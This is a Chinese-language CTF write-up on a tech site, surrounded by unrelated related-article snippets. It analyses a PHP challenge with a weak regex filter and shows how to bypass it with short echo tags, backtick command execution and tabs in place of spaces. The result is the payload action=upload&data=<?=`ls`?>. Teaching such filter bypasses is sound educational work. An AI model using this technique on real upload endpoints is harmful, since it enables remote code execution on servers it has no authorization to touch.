<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
<?php error_reporting(0); highlight_file(__FILE__); function check($input){ if(preg_match("/'| |_|php|;|~|\^|\+|eval|{|}/i",$input)){ // if(preg_match("/'| |_|=|php/",$input)){ die('hacker!!!'); }else{ return $input; } } function waf($input){ if(is_array($input)){ foreach($input as $key=>$output){ $input[$key] = waf($output); } }else{ $input = check($input); } } $dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/'; if(!file_exists($dir)){ mkdir($dir); } switch($_GET["action"] ?? "") { case 'pwd': echo $dir; break; case 'upload': $data = $_GET["data"] ?? ""; waf($data); file_put_contents("$dir" . "index.php", $data); } ?>
程式碼審查,引數action控制兩個模式,當action=upload的時候會將引數data的值進行過濾並且作為file_put_contents的第三個引數,可以試試輸入123的時候是個什麼效果,我查資料發現這個函數的第三個引數具體用法是啥我也不知道
當action=pwd的時候,他會輸出目錄給我們。
一開始兩個問號是個啥我也不曉得,查了一下
??是php7新推出來的表示式,有利於簡便三元運運算元
例:
$example=$_GET['web']??0;
相當於
$example=$_GET['web']?$_GET['web']:0;
意思就是如果web引數如果存在則返回本身,否則返回0
function check($input){ if(preg_match("/'| |_|php|;|~|\^|\+|eval|{|}/i",$input)){ // if(preg_match("/'| |_|=|php/",$input)){ die('hacker!!!'); }else{ return $input; } } function waf($input){ if(is_array($input)){ foreach($input as $key=>$output){ $input[$key] = waf($output); } }else{ $input = check($input); } }
可以發現這是對data引數的過濾防護,過濾了php,eval,花括號等,其實這些過濾內容有點提示我們要用php標籤,但是php,eval,空格這些都被過濾掉了,這時候就有新東西學習了
反引號執行系統命令,以及php短標籤
PHP: 執行運運算元 - Manual就像如果我們要執行ls命令,通常我們都是system('ls');但是有了反引號,我們直接`ls`即可執行,是不是方便多了,但是要開一個預設選項(預設都是開啟的),並且不能在雙引號字元中使用
php中的短標籤 https://www.jb51.net/article/112327.htm
<?$a?>相當於<?php?> <?=$a?>相當於<?php echo $a?>還省略了eval需要的分號
因此我們思路就是,當切換在upload模式的時候,我們可以控制data引數傳入php表示式看看效果,然後切換到pwd模式獲取路徑進入到下面去看看
成功回顯1234,有點渲染那味了
構造action=upload&data=<?=`ls`?>,因為空格被過濾了,我們可以利用水平制符t來代替空格
繼續執行命令即可
以上就是php反引號與短標籤指令碼範例的詳細內容,更多關於php反引號與短標籤指令碼的資料請關注it145.com其它相關文章!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45